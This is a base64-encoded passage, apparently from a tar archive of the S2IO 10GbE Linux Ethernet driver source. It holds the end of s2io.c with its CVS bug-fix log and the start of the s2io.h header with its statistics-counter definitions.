aW9fY2xvc2VyKHZvaWQpCnsKCXBjaV91bnJlZ2lzdGVyX2RyaXZlcigmczJpb19kcml2ZXIpOwoJ REJHX1BSSU5UKElOSVRfREJHLCJjbGVhbnVwIGRvbmVcbiIpOwp9CgojaWZkZWYgQVNfQV9NT0RV TEUKbW9kdWxlX2luaXQoczJpb19zdGFydGVyKTsKbW9kdWxlX2V4aXQoczJpb19jbG9zZXIpOwoj ZW5kaWYgCgovKiAgVG8gYnVpbGQgdGhlIGRyaXZlciwgCmdjYyAtRF9fS0VSTkVMX18gLURNT0RV TEUgLUkvdXNyL3NyYy9saW51eC0yLjQvaW5jbHVkZSAtV2FsbCAtV3N0cmljdC1wcm90b3R5cGVz IC1PMiAtYyBzMmlvLmMKKi8KLyoKICokTG9nOiBzMmlvLmMsdiAkCiAqUmV2aXNpb24gMS44OCAg MjAwNC8wMS8xOSAyMToxMjo0NCAgYXJhdmkKICpCdWc6IDU5OQogKkdvdCByaWQgb2YgY29tcGls YXRpb24gZXJyb3IgZHVlIHRvIHZhcmlhYmxlIGRlY2xhcmF0aW9uIGFmdGVyIGFzc2lnbm1lbnQu CiAqCiAqQnVnOiA1OTMKICpGaXhlZCBUeCBMaW5rIGxvc3MgcHJvYmxlbSBieQogKjEuIGNoZWNr aW5nIGZvciBwdXQgcG9pbnRlciBub3QgZ29pbmcgYmV5b25kIGdldCBwb2ludGVyCiAqMi4gc2V0 IGRlZmF1bHQgdHggZGVzY3JpcHRvcnMgdG8gNDA5NiggZG9uZSBpbiBzMmlvLmgpCiAqMy4gU2V0 IHJ0c19mcm1fbGVuIHJlZ2lzdGVyIHRvIE1UVSBzaXplLgogKjQuIENvcnJlY3RlZCB0aGUgbGVu Z3RoIHVzZWQgZm9yIGFkZHJlc3MgdW5tYXBwaW5nIGluCiAqICAgIHR4IGludHIgaGFuZGxlci4K ICoKICpSZXZpc2lvbiAxLjg3ICAyMDA0LzAxLzE5IDA5OjUwOjU5ICBya291c2hpawogKkJ1Zzog NTk4CiAqIEFkZGVkIEdQTCBub3RpY2VzIG9uIHRoZSBkcml2ZXIgc291cmNlIGZpbGVzLCBuYW1l bHkKICpzMmlvLmMsIHMyaW8uaCBhbmQgcmVncy5oCiAqCiAqS291c2hpawogKgogKlJldmlzaW9u IDEuODYgIDIwMDQvMDEvMTkgMDU6MjE6NTcgIHJrb3VzaGlrCiAqQnVnOiA2MTQKICpUaGUgWEFV SSBjb25maWd1cmF0aW9uIHdhcyBiZWluZyBkb25lIHVzaW5nIG9sZCB2YWx1ZXMgbWlzdGFrZW5s eS4KICpUaGUgaW5pdE5pYyBmdW5jIHdhcyBtb2RpZmllZCB3aXRoIHRoZSBuZXcgdmFsdWVzIGZv ciBYQVVJIGNvbmZpZ3VyYXRpb24uCiAqCiAqLUtvdXNoaWsKICoKICpSZXZpc2lvbiAxLjg1ICAy MDA0LzAxLzEzIDEzOjEzOjA1ICBya291c2hpawogKkJ1ZzogNDQ5CiAqIFRoZSBkcml2ZXIgc291 cmNlIGhhcyBiZWVuIG1vZGlmaWVkIHRvIGZvbGxvdyBtb3N0IG9mIHRoZSBzdWdnZXN0aW9uIGdp dmVuCiAqYnkgdGhlIGNvZGluZ1N0eWxlIGRvY3VtZW50IGluIHRoZSBsaW51eCBEb2N1bWVudGF0 aW9uIGZvbGRlci4KICpBbHNvIHNvbWUgY29kaW5nIGVycm9ycyBpZGVudGlmaWVkIGJ5IFN0ZXZl IE1vZGljYSBtZW50aW9uZWQgaW4gYnVnICMgNTM2CiAqaGF2ZSBhbHNvIGJlZW4gc2V0IHJpZ2h0 LgogKgogKktvdXNoaWsKICoKICpSZXZpc2lvbiAxLjg0ICAyMDA0LzAxLzAyIDA5OjQzOjI4ICBy a291c2hpawogKkJ1ZzogNTgxCiAqUmVzZXR0aW5nIE5pYyBhZnRlciBwZXJmb3JtaW5nIFJsZFJh bSB0ZXN0IHNvIGFzIHRvIHJlbW92ZSBSbGRSYW0gZnJvbQogKlRlc3QgTW9kZS4KICoKICotS291 c2hpawogKgogKlJldmlzaW9uIDEuODMgIDIwMDQvMDEvMDEgMDA6MTk6NDYgIGFyYXZpCiAqQnVn OiA1NzAKICpGaXhlZCByYWNlIGNvbmRpdGlvbiBpbiBUcmFuc21pdCBwYXRoLgogKgogKlJldmlz aW9uIDEuODIgIDIwMDMvMTIvMzAgMTM6MDM6MTQgIHJrb3VzaGlrCiAqQnVnOiAxNzcKICpUaGUg ZHJpdmVyIGhhcyBiZWVuIHVwZGF0ZWQgd2l0aCBzdXBwb3J0IGZvciBmdW50aW9uYWxpdGllcyBp biBldGh0b29sCiAqdmVyc2lvbiAxLjguIEludGVycnVwdCBtb2RlcmF0aW9uIGhhcyBiZWVuIHNr aXBwZWQgYXMgdGhlIG1ldGhvZG9sb2d5IHRvCiAqc2V0IGl0IHVzaW5nIGV0aHRvb2wgaXMgZGlm ZmVyZW50IHRvIG91ciBtZXRob2RvbG9neS4KICoKICotS291c2hpawogKgogKlJldmlzaW9uIDEu ODEgIDIwMDMvMTIvMTYgMjA6NDM6MzggIHVraXJhbgogKkJ1Zzo1NDIKICpXb3JrYXJvdW5kIHRv IGFkZHJlc3MgVFggRklGTyBmdWxsIGNvbmRpdGlvbgogKgogKlJldmlzaW9uIDEuODAgIDIwMDMv MTIvMTUgMjM6Mjc6NDcgIHVraXJhbgogKkJ1ZzogNTM2CiAqQ2hhbmdlZCBidWZmZXIgcmVwbGVu aXNoaW5nIGFsZ29yaXRobS4gSW5pdGlhbGl6aW5nIHJlY2VpdmUgbWVtb3J5LgogKgogKlJldmlz aW9uIDEuNzkgIDIwMDMvMTIvMTUgMDU6MDg6MDYgIHJrb3VzaGlrCiAqQnVnOiA1MTYKICogVGhl IEZpeCBpcyBhZ2FpbnN0IHRoZSBwcm9ibGVtIHNlZW4gYnkgTGF3ZXJlbmNlIExpdmVybW9yZSBw ZW9wbGUuCiAqRnVydGhlciBkZXRhaWxzIG9uIHRoZSBwcm9ibGVtIGFuZCB0aGUgZml4IGlzIGF2 YWlsYWJsZSBpbgogKmJ1ZyAjIDUxNiBvZiBidWd0cmFrLgogKgogKi1Lb3VzaGlrCiAqCiAqUmV2 aXNpb24gMS43OCAgMjAwMy8xMi8wMiAxOTo1Njo0OCAgdWtpcmFuCiAqQnVnOjUyNAogKkZpeCBm b3IgYWxsICJGRnMiIE1BQyBhZGRyZXNzIHByb2JsZW1zIG9uIEhQL0FscGhhIHBsYXRmb3Jtcwog KgogKlJldmlzaW9uIDEuNzcgIDIwMDMvMTIvMDIgMTk6NTM6MTIgIHVraXJhbgogKkJ1Zzo1MTAK ICpDbGVhbnVwIG9mIA0gY2hhcnMKICoKICpSZXZpc2lvbiAxLjc2ICAyMDAzLzExLzE5IDAyOjIz OjAyICB1a2lyYW4KICpCdWc6NDczCiAqRml4IHRvIGFkZHJlc3MgbGluayBkb3duIGNvbmRpdGlv biB3aXRoIG1pc2JlaGF2aW5nIHN3aXRjaGVzCiAqCiAqUmV2aXNpb24gMS43NSAgMjAwMy8xMS8x NCAwMTo1MzozNiAgdWtpcmFuCiAqQnVnOjQ5MwogKnBjaV9zZXRfY29uc2lzdGVudF9kbWFfbWFz aygpIGlzIHN1cHBvcnRlZCBpbiBrZXJuZWxzID4yLjYuMC10ZXN0Ny4KICpOZWVkIHRvIGZpZ3Vy ZSBvdXQgd2hldGhlciBpdCB3aWxsIGJlIGJhY2twb3J0ZWQgdG8gMi40Lnh4IGtlcm5lbHMuCiAq CiAqUmV2aXNpb24gMS43NCAgMjAwMy8xMS8xMiAwNTozMjowNiAgcmtvdXNoaWsKICpCdWc6IDQ5 MwogKkFkZGVkIGEga2VybmVsIHZlcnNpb24gY2hlY2sgYXJvdW5kIHRoZSBwY2lfc2V0X2NvbnNp c3RlbnRfZG1hX21hc2sKICpmdW5jdGlvbiBhcyBzcGVjaWZpZWQgaW4gdGhlIGxhdGVzdCBjb21t ZW50IG9mIEJ1ZyAjIDQ5MwogKgogKi1Lb3VzaGlrCiAqCiAqUmV2aXNpb24gMS43MyAgMjAwMy8x MS8wOCAwMjoyODo1NiAgdWtpcmFuCiAqQnVnOjQ5MwogKk1hZGUgdGhlIGZpeCBzdWdnZXN0ZWQg YnkgdGhlIGN1c3RvbWVyLiBBZGRlZCBwY2lfc2V0X2NvbnNpc3RlbnRfZG1hX21hc2soKSBhZnRl ciBwY2lfc2V0X2RtYV9tYXNrKCkuIFRoaXMgbWlnaHQgaGVscCBpbiByZXNvbHZpbmcgcGNpX2Fs bG9jX2NvbnNpc3RlbnQgZmFpbHVyZXMgYXQgU0dJLgogKndlIGNhbm5vdCB2ZXJpZnkgdGhpcyBw cm9ibGVtIGluIG91ciBsYWIuIFdlIHdpbGwgdmVyaWZ5IGF0IFNHSS4KICpNb3N0IG9mIHRoZSBk cml2ZXJzIGluIHB1YmxpYyBkb21haW4gYXJlIG5vdCBpbnZva2luZyB0aGlzIGZ1bmN0aW9uLgog KlNvIHRoaXMgcHJvYmxlbSBleGlzdHMgaW4gdGhlaXIgYWRhcHRlcnMuIEhvd2V2ZXIsIHRpZ29u IGRyaXZlciBoYXMKICphIGZpeCBmb3IgaXQuCiAqCiAqLVVkYXkKICoKICpSZXZpc2lvbiAxLjcy ICAyMDAzLzExLzA3IDEwOjIyOjQwICBya291c2hpawogKkJ1ZzogNDkyCiAqQ2hhbmdlZCBhcyBw ZXIgdGhlIGluZm8gcHJvdmlkZWQgaW4gQnVnICMgNDkyLgogKgogKlJldmlzaW9uIDEuNzEgIDIw MDMvMTEvMDQgMDI6MDY6NTYgIHVraXJhbgogKkJ1Zzo0ODQKICpFbmFibGluZyBMb2dzIGluIHNv dXJjZSBjb2RlCiAqCiAqLwoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4vczJpby5oAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAwMTAwNjQ0ADAwMDAwMDAAMDAwMDAwMAAwMDAwMDA2NjQ2MwAx MDAwMzEzNDYyMQAwMTA3NDQAIDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAdXN0YXIgIAByb290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJvb3QAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALyoqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgogKiBzMmlv Lmg6IEEgTGludXggUENJLVggRXRoZXJuZXQgZHJpdmVyIGZvciBTMklPIDEwR2JFIFNlcnZlciBO SUMKICogQ29weXJpZ2h0IDIwMDIgUmFnaGF2ZW5kcmEgS291c2hpayAocmFnaGF2ZW5kcmEua291 c2hpa0BzMmlvLmNvbSkKCiAqIFRoaXMgc29mdHdhcmUgbWF5IGJlIHVzZWQgYW5kIGRpc3RyaWJ1 dGVkIGFjY29yZGluZyB0byB0aGUgdGVybXMgb2YKICogdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBM aWNlbnNlIChHUEwpLCBpbmNvcnBvcmF0ZWQgaGVyZWluIGJ5IHJlZmVyZW5jZS4KICogRHJpdmVy cyBiYXNlZCBvbiBvciBkZXJpdmVkIGZyb20gdGhpcyBjb2RlIGZhbGwgdW5kZXIgdGhlIEdQTCBh bmQgbXVzdAogKiByZXRhaW4gdGhlIGF1dGhvcnNoaXAsIGNvcHlyaWdodCBhbmQgbGljZW5zZSBu b3RpY2UuICBUaGlzIGZpbGUgaXMgbm90CiAqIGEgY29tcGxldGUgcHJvZ3JhbSBhbmQgbWF5IG9u bHkgYmUgdXNlZCB3aGVuIHRoZSBlbnRpcmUgb3BlcmF0aW5nCiAqIHN5c3RlbSBpcyBsaWNlbnNl ZCB1bmRlciB0aGUgR1BMLgogKiBTZWUgdGhlIGZpbGUgQ09QWUlORyBpbiB0aGlzIGRpc3RyaWJ1 dGlvbiBmb3IgbW9yZSBpbmZvcm1hdGlvbi4KICoqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KI2lmbmRlZiBfUzJJ T19ICiNkZWZpbmUgX1MySU9fSAoKI2lmIGRlZmluZWQoQ09ORklHX0lBNjQpIHx8IGRlZmluZWQo Q09ORklHX0FMUEhBKSB8fCBkZWZpbmVkKENPTkZJR19YODZfNjQpCiNkZWZpbmUgWEVOQV9BUkNI XzY0CiNlbGlmIGRlZmluZWQoQ09ORklHX1BQQzMyKSB8fCBkZWZpbmVkKENPTkZJR19QUEM2NCkK I2RlZmluZSBYRU5BX0FSQ0hfNjQKI2RlZmluZSBBUkNIX1BQQzY0CiNlbmRpZgoKI2lmIExJTlVY X1ZFUlNJT05fQ09ERSA+PSBLRVJORUxfVkVSU0lPTigyLDYsMDApCiNkZWZpbmUgS0VSTl8yNgoj ZW5kaWYKCiNkZWZpbmUgQ09ORklHVVJFX0VUSFRPT0xfU1VQUE9SVAovLyNkZWZpbmUgQ09ORklH VVJFX05BUElfU1VQUE9SVAovLyNkZWZpbmUJQ09ORklHVVJFX0VYVEVOREVEX0VSUk9SX0hBTkRM SU5HCgojZGVmaW5lIFRCRCAwCiNkZWZpbmUgQklUKGxvYykgICAgICAgICgoKHU2NCkweDgwMDAw MDAwMDAwMDAwMDApID4+IGxvYykKI2RlZmluZSB2QklUKHZhbCwgbG9jLCBzeikgICgoKHU2NCl2 YWwpIDw8ICg2NC1sb2Mtc3opKQoKI2lmbmRlZiBFVEhfQUxFTgojZGVmaW5lIEVUSF9BTEVOICAg IDYKI2VuZGlmCgojaWZkZWYgQVJDSF9QUEM2NAoJdHlwZWRlZiB1NjQgZG1hYWRkcl90OwojZWxz ZQoJdHlwZWRlZiBkbWFfYWRkcl90IGRtYWFkZHJfdDsKI2VuZGlmCgojaWZuZGVmIEJPT0wKI2Rl ZmluZSBCT09MICAgIGludAojZW5kaWYKCiNpZm5kZWYgVFJVRQojZGVmaW5lIFRSVUUgICAgMQoj ZGVmaW5lIEZBTFNFICAgMAojZW5kaWYKCiN1bmRlZiBTVUNDRVNTICAKI2RlZmluZSBTVUNDRVNT IDAKI2RlZmluZSBGQUlMVVJFIC0xCgovKiBNYXhpbXVtIG91dHN0YW5kaW5nIHNwbGl0cyB0byBi ZSBjb25maWd1cmVkIGludG8geGVuYS4gKi8KdHlwZWRlZiBlbnVtIHhlbmFfbWF4X291dHN0YW5k aW5nX3NwbGl0cyB7CglYRU5BX09ORV9TUExJVF9UUkFOU0FDVElPTiAJCQk9IDAsCglYRU5BX1RX T19TUExJVF9UUkFOU0FDVElPTiAJCQk9IDEsCglYRU5BX1RIUkVFX1NQTElUX1RSQU5TQUNUSU9O IAkJPSAyLAoJWEVOQV9GT1VSX1NQTElUX1RSQU5TQUNUSU9OIAkJPSAzLAoJWEVOQV9FSUdIVF9T UExJVF9UUkFOU0FDVElPTiAJCT0gNCwKCVhFTkFfVFdFTFZFX1NQTElUX1RSQU5TQUNUSU9OIAkJ PSA1LAoJWEVOQV9TSVhURUVOX1NQTElUX1RSQU5TQUNUSU9OIAkJPSA2LAoJWEVOQV9USElSVFlU V09fU1BMSVRfVFJBTlNBQ1RJT04gCT0gNwp9eGVuYV9tYXhfb3V0c3RhbmRpbmdfc3BsaXRzOwoj ZGVmaW5lIFhFTkFfTUFYX09VVFNUQU5ESU5HX1NQTElUUyhuKSBuIDw8IDQKCi8qICBPUyBjb25j ZXJuZWQgdmFyaWFibGVzIGFuZCBjb25zdGFudHMgKi8KI2RlZmluZSBXQVRDSF9ET0dfVElNRU9V VCAgIAk1KkhaCiNkZWZpbmUgRUZJTEwgICAgICAgCQkJMHgxMjM0CiNkZWZpbmUgQUxJR05fU0la RSAgCQkJMTI3ICAgICAKI2RlZmluZQlQQ0lYX0NPTU1BTkRfUkVHSVNURVIJMHg2MgoKI2lmbmRl ZiBTVVBQT1JURURfMTAwMDBiYXNlVF9GdWxsCiNkZWZpbmUgU1VQUE9SVEVEXzEwMDAwYmFzZVRf RnVsbCAoMSA8PCAxMikKI2VuZGlmCgovKgogKiBEZWJ1ZyByZWxhdGVkIHZhcmlhYmxlcy4KICov CiNkZWZpbmUgREVCVUdfT04gVFJVRQoKLyogZGlmZmVyZW50IGRlYnVnIGxldmVscy4gKi8KI2Rl ZmluZQlFUlJfREJHCQkwCiNkZWZpbmUJSU5JVF9EQkcJMQojZGVmaW5lCUlORk9fREJHCTIKI2Rl ZmluZQlUWF9EQkcJCTMKI2RlZmluZQlJTlRSX0RCRwk0CgovKiBHbG9iYWwgdmFyaWFibGUgdGhh dCBkZWZpbmVzIHRoZSBwcmVzZW50IGRlYnVnIGxldmVsIG9mIHRoZSBkcml2ZXIuICovCmludCBk ZWJ1Z19sZXZlbCA9IEVSUl9EQkc7IC8qIERlZmF1bHQgbGV2ZWwuICovCgovKiBERUJVRyBtZXNz YWdlIHByaW50LiAqLwojZGVmaW5lIERCR19QUklOVChkYmdfbGV2ZWwsIGFyZ3MuLi4pICBpZigh KGRlYnVnX2xldmVsPGRiZ19sZXZlbCkpIHByaW50ayhhcmdzKQoKLyogUHJvdG9jb2wgYXNzaXN0 IGZlYXR1cmVzIG9mIHRoZSBOSUMgKi8KI2RlZmluZSBMM19DS1NVTV9PSyAweEZGRkYKI2RlZmlu ZSBMNF9DS1NVTV9PSyAweEZGRkYKI2RlZmluZSBTMklPX0pVTUJPX1NJWkUgOTYwMAoKLyogVGhl IHN0YXRpc3RpY3MgYmxvY2sgb2YgWGVuYSAqLwojZGVmaW5lIFNUQVRTX0FMTE9DRUQgMQp0eXBl ZGVmIHN0cnVjdCBzdGF0X2Jsb2NrIHsKI2lmZGVmICBfX0JJR19FTkRJQU4KLyogVHggTUFDIHN0 YXRpc3RpY3MgY291bnRlcnMuICovCiAgICB1MzIgdG1hY19mcm1zOwogICAgdTMyIHRtYWNfZGF0 YV9vY3RldHM7CiAgICB1NjQgdG1hY19kcm9wX2ZybXM7CiAgICB1MzIgdG1hY19tY3N0X2ZybXM7 CiAgICB1MzIgdG1hY19iY3N0X2ZybXM7CiAgICB1NjQgdG1hY19wYXVzZV9jdHJsX2ZybXM7CiAg ICB1MzIgdG1hY190dGxfb2N0ZXRzOwogICAgdTMyIHRtYWNfdWNzdF9mcm1zOwogICAgdTMyIHRt YWNfbnVjc3RfZnJtczsKICAgIHUzMiB0bWFjX2FueV9lcnJfZnJtczsKICAgIHU2NCB0bWFjX3R0 bF9sZXNzX2ZiX29jdGV0czsKICAgIHU2NCB0bWFjX3ZsZF9pcF9vY3RldHM7CiAgICB1MzIgdG1h Y192bGRfaXA7CiAgICB1MzIgdG1hY19kcm9wX2lwOwogICAgdTMyIHRtYWNfaWNtcDsKICAgIHUz MiB0bWFjX3JzdF90Y3A7CiAgICB1NjQgdG1hY190Y3A7CiAgICB1MzIgdG1hY191ZHA7CiAgICB1 MzIgcmVzZXJ2ZWRfMDsKCi8qIFJ4IE1BQyBTdGF0aXN0aWNzIGNvdW50ZXJzLiAqLwogICAgdTMy IHJtYWNfdmxkX2ZybXM7CiAgICB1MzIgcm1hY19kYXRhX29jdGV0czsKICAgIHU2NCBybWFjX2Zj c19lcnJfZnJtczsKICAgIHU2NCBybWFjX2Ryb3BfZnJtczsKICAgIHUzMiBybWFjX3ZsZF9tY3N0 X2ZybXM7CiAgICB1MzIgcm1hY192bGRfYmNzdF9mcm1zOwogICAgdTMyIHJtYWNfaW5fcm5nX2xl bl9lcnJfZnJtczsKICAgIHUzMiBybWFjX291dF9ybmdfbGVuX2Vycl9mcm1zOwogICAgdTY0IHJt YWNfbG9uZ19mcm1zOwogICAgdTY0IHJtYWNfcGF1c2VfY3RybF9mcm1zOwogICAgdTY0IHJtYWNf dW5zdXBfY3RybF9mcm1zOwogICAgdTMyIHJtYWNfdHRsX29jdGV0czsKICAgIHUzMiBybWFjX2Fj Y2VwdGVkX3Vjc3RfZnJtczsKICAgIHUzMiBybWFjX2FjY2VwdGVkX251Y3N0X2ZybXM7CiAgICB1 MzIgcm1hY19kaXNjYXJkZWRfZnJtczsKICAgIHUzMiBybWFjX2Ryb3BfZXZlbnRzOwoJdTMyCXJl c2VydmVkXzE7CiAgICB1NjQgcm1hY190dGxfbGVzc19mYl9vY3RldHM7CiAgICB1NjQgcm1hY190 dGxfZnJtczsKCXU2NCByZXNlcnZlZF8yOwoJdTMyIHJlc2VydmVkXzM7Cgl1MzIgcm1hY191c2l6 ZWRfZnJtczsKCXUzMiBybWFjX29zaXplZF9mcm1zOwoJdTMyIHJtYWNfZnJhZ19mcm1zOwoJdTMy IHJtYWNfamFiYmVyX2ZybXM7Cgl1MzIJcmVzZXJ2ZWRfNDsKICAgIHU2NCBybWFjX3R0bF82NF9m cm1zOwogICAgdTY0IHJtYWNfdHRsXzY1XzEyN19mcm1zOwoJdTY0CXJlc2VydmVkXzU7CiAgICB1 NjQgcm1hY190dGxfMTI4XzI1NV9mcm1zOwogICAgdTY0IHJtYWNfdHRsXzI1Nl81MTFfZnJtczsK CXU2NAlyZXNlcnZlZF82OwogICAgdTY0IHJtYWNfdHRsXzUxMl8xMDIzX2ZybXM7CiAgICB1NjQg cm1hY190dGxfMTAyNF8xNTE4X2ZybXM7Cgl1MzIJcmVzZXJ2ZWRfNzsKCXUzMglybWFjX2lwOwoJ dTY0CXJtYWNfaXBfb2N0ZXRzOwogICAgdTMyIHJtYWNfaGRyX2Vycl9pcDsKICAgIHUzMiBybWFj X2Ryb3BfaXA7CiAgICB1MzIgcm1hY19pY21wOwogICAgdTMyIHJlc2VydmVkXzg7CiAgICB1NjQg cm1hY190Y3A7CiAgICB1MzIgcm1hY191ZHA7CiAgICB1MzIgcm1hY19lcnJfZHJwX3VkcDsKICAg IHU2NCBybWFjX3hnbWlpX2Vycl9zeW07CiAgICB1NjQgcm1hY19mcm1zX3EwOwogICAgdTY0IHJt YWNfZnJtc19xMTsKICAgIHU2NCBybWFjX2ZybXNfcTI7CiAgICB1NjQgcm1hY19mcm1zX3EzOwog ICAgdTY0IHJtYWNfZnJtc19xNDsKICAgIHU2NCBybWFjX2ZybXNfcTU7CiAgICB1NjQgcm1hY19m cm1zX3E2OwogICAgdTY0IHJtYWNfZnJtc19xNzsKICAgIHUxNiBybWFjX2Z1bGxfcTA7CiAgICB1 MTYgcm1hY19mdWxsX3ExOwogICAgdTE2IHJtYWNfZnVsbF9xMjsKICAgIHUxNiBybWFjX2Z1bGxf cTM7CiAgICB1MTYgcm1hY19mdWxsX3E0OwogICAgdTE2IHJtYWNfZnVsbF9xNTsKICAgIHUxNiBy bWFjX2Z1bGxfcTY7CiAgICB1MTYgcm1hY19mdWxsX3E3OwogICAgdTMyIHJtYWNfcGF1c2VfY250 OwoJdTMyCXJlc2VydmVkXzk7CiAgICB1NjQgcm1hY194Z21paV9kYXRhX2Vycl9jbnQ7CiAgICB1 NjQgcm1hY194Z21paV9jdHJsX2Vycl9jbnQ7CiAgICB1MzIgcm1hY19hY2NlcHRlZF9pcDsKICAg IHUzMiBybWFjX2Vycl90Y3A7CgkKLyogUENJL1BDSS1YIFJlYWQgdHJhbnNhY3Rpb24gc3RhdGlz dGljcy4gKi8KICAgIHUzMiByZF9yZXFfY250OwogICAgdTMyIG5ld19yZF9yZXFfY250OyAKICAg IHUzMiBuZXdfcmRfcmVxX3J0cnlfY250OwogICAgdTMyIHJkX3J0cnlfY250OwogICAgdTMyIHdy X3J0cnlfcmRfYWNrX2NudDsKCi8qIFBDSS9QQ0ktWCB3cml0ZSB0cmFuc2FjdGlvbiBzdGF0aXN0 aWNzLiAqLwogICAgdTMyIHdyX3JlcV9jbnQ7CiAgICB1MzIgbmV3X3dyX3JlcV9jbnQ7IAogICAg dTMyIG5ld193cl9yZXFfcnRyeV9jbnQ7IAogICAgdTMyIHdyX3J0cnlfY250OwogICAgdTMyIHdy X2Rpc2NfY250OwogICAgdTMyIHJkX3J0cnlfd3JfYWNrX2NudDsKCQovKglETUEgVHJhbnNhY3Rp b24gc3RhdGlzdGljcy4gKi8KICAgIHUzMiB0eHBfd3JfY250OwogICAgdTMyIHR4ZF9yZF9jbnQ7 CiAgICB1MzIgdHhkX3dyX2NudDsKICAgIHUzMiByeGRfcmRfY250OwogICAgdTMyIHJ4ZF93cl9j bnQ7CiAgICB1MzIgdHhmX3JkX2NudDsKICAgIHUzMiByeGZfd3JfY250OwojZWxzZQovKiBUeCBN QUMgc3RhdGlzdGljcyBjb3VudGVycy4gKi8KICAgIHUzMiB0bWFjX2RhdGFfb2N0ZXRzOwogICAg dTMyIHRtYWNfZnJtczsKICAgIHU2NCB0bWFjX2Ryb3BfZnJtczsKICAgIHUzMiB0bWFjX2Jjc3Rf ZnJtczsKICAgIHUzMiB0bWFjX21jc3RfZnJtczsKICAgIHU2NCB0bWFjX3BhdXNlX2N0cmxfZnJt czsKICAgIHUzMiB0bWFjX3Vjc3RfZnJtczsKICAgIHUzMiB0bWFjX3R0bF9vY3RldHM7CiAgICB1 MzIgdG1hY19hbnlfZXJyX2ZybXM7CiAgICB1MzIgdG1hY19udWNzdF9mcm1zOwogICAgdTY0IHRt YWNfdHRsX2xlc3NfZmJfb2N0ZXRzOwogICAgdTY0IHRtYWNfdmxkX2lwX29jdGV0czsKICAgIHUz MiB0bWFjX2Ryb3BfaXA7CiAgICB1MzIgdG1hY192bGRfaXA7CiAgICB1MzIgdG1hY19yc3RfdGNw OwogICAgdTMyIHRtYWNfaWNtcDsKICAgIHU2NCB0bWFjX3RjcDsKICAgIHUzMiByZXNlcnZlZF8w OwogICAgdTMyIHRtYWNfdWRwOwoKLyogUnggTUFDIFN0YXRpc3RpY3MgY291bnRlcnMuICovCiAg ICB1MzIgcm1hY19kYXRhX29jdGV0czsKICAgIHUzMiBybWFjX3ZsZF9mcm1zOwogICAgdTY0IHJt YWNfZmNzX2Vycl9mcm1zOwogICAgdTY0IHJtYWNfZHJvcF9mcm1zOwogICAgdTMyIHJtYWNfdmxk X2Jjc3RfZnJtczsKICAgIHUzMiBybWFjX3ZsZF9tY3N0X2ZybXM7CiAgICB1MzIgcm1hY19vdXRf cm5nX2xlbl9lcnJfZnJtczsKICAgIHUzMiBybWFjX2luX3JuZ19sZW5fZXJyX2ZybXM7CiAgICB1 NjQgcm1hY19sb25nX2ZybXM7CiAgICB1NjQgcm1hY19wYXVzZV9jdHJsX2ZybXM7CiAgICB1NjQg cm1hY191bnN1cF9jdHJsX2ZybXM7CiAgICB1MzIgcm1hY19hY2NlcHRlZF91Y3N0X2ZybXM7CiAg ICB1MzIgcm1hY190dGxfb2N0ZXRzOwogICAgdTMyIHJtYWNfZGlzY2FyZGVkX2ZybXM7CiAgICB1 MzIgcm1hY19hY2NlcHRlZF9udWNzdF9mcm1zOwogICAgdTMyIHJlc2VydmVkXzE7CQogICAgdTMy IHJtYWNfZHJvcF9ldmVudHM7CiAgICB1NjQgcm1hY190dGxfbGVzc19mYl9vY3RldHM7CiAgICB1 NjQgcm1hY190dGxfZnJtczsKCXU2NAlyZXNlcnZlZF8yOwogICAgdTMyIHJtYWNfdXNpemVkX2Zy bXM7Cgl1MzIJcmVzZXJ2ZWRfMzsKICAgIHUzMiBybWFjX2ZyYWdfZnJtczsKICAgIHUzMiBybWFj X29zaXplZF9mcm1zOwoJdTMyCXJlc2VydmVkXzQ7CiAgICB1MzIgcm1hY19qYWJiZXJfZnJtczsK ICAgIHU2NCBybWFjX3R0bF82NF9mcm1zOwogICAgdTY0IHJtYWNfdHRsXzY1XzEyN19mcm1zOwoJ dTY0CXJlc2VydmVkXzU7CiAgICB1MzIgcm1hY190dGxfMTI4XzI1NV9mcm1zX29mbG93OwogICAg dTMyIHJtYWNfdHRsXzY1XzEyN19mcm1zX29mbG93OwogICAgdTY0IHJtYWNfdHRsXzEyOF8yNTVf ZnJtczsKICAgIHU2NCBybWFjX3R0bF8yNTZfNTExX2ZybXM7Cgl1NjQJcmVzZXJ2ZWRfNjsKICAg IHUzMiBybWFjX3R0bF81MTJfMTAyM19mcm1zX29mbG93OwogICAgdTMyIHJtYWNfdHRsXzI1Nl81 MTFfZnJtc19vZmxvdzsKICAgIHU2NCBybWFjX3R0bF81MTJfMTAyM19mcm1zOwogICAgdTY0IHJt YWNfdHRsXzEwMjRfMTUxOF9mcm1zOwogICAgdTMyIHJtYWNfaXA7Cgl1MzIgcmVzZXJ2ZWRfNzsK ICAgIHU2NCBybWFjX2lwX29jdGV0czsKICAgIHUzMiBybWFjX2Ryb3BfaXA7CiAgICB1MzIgcm1h 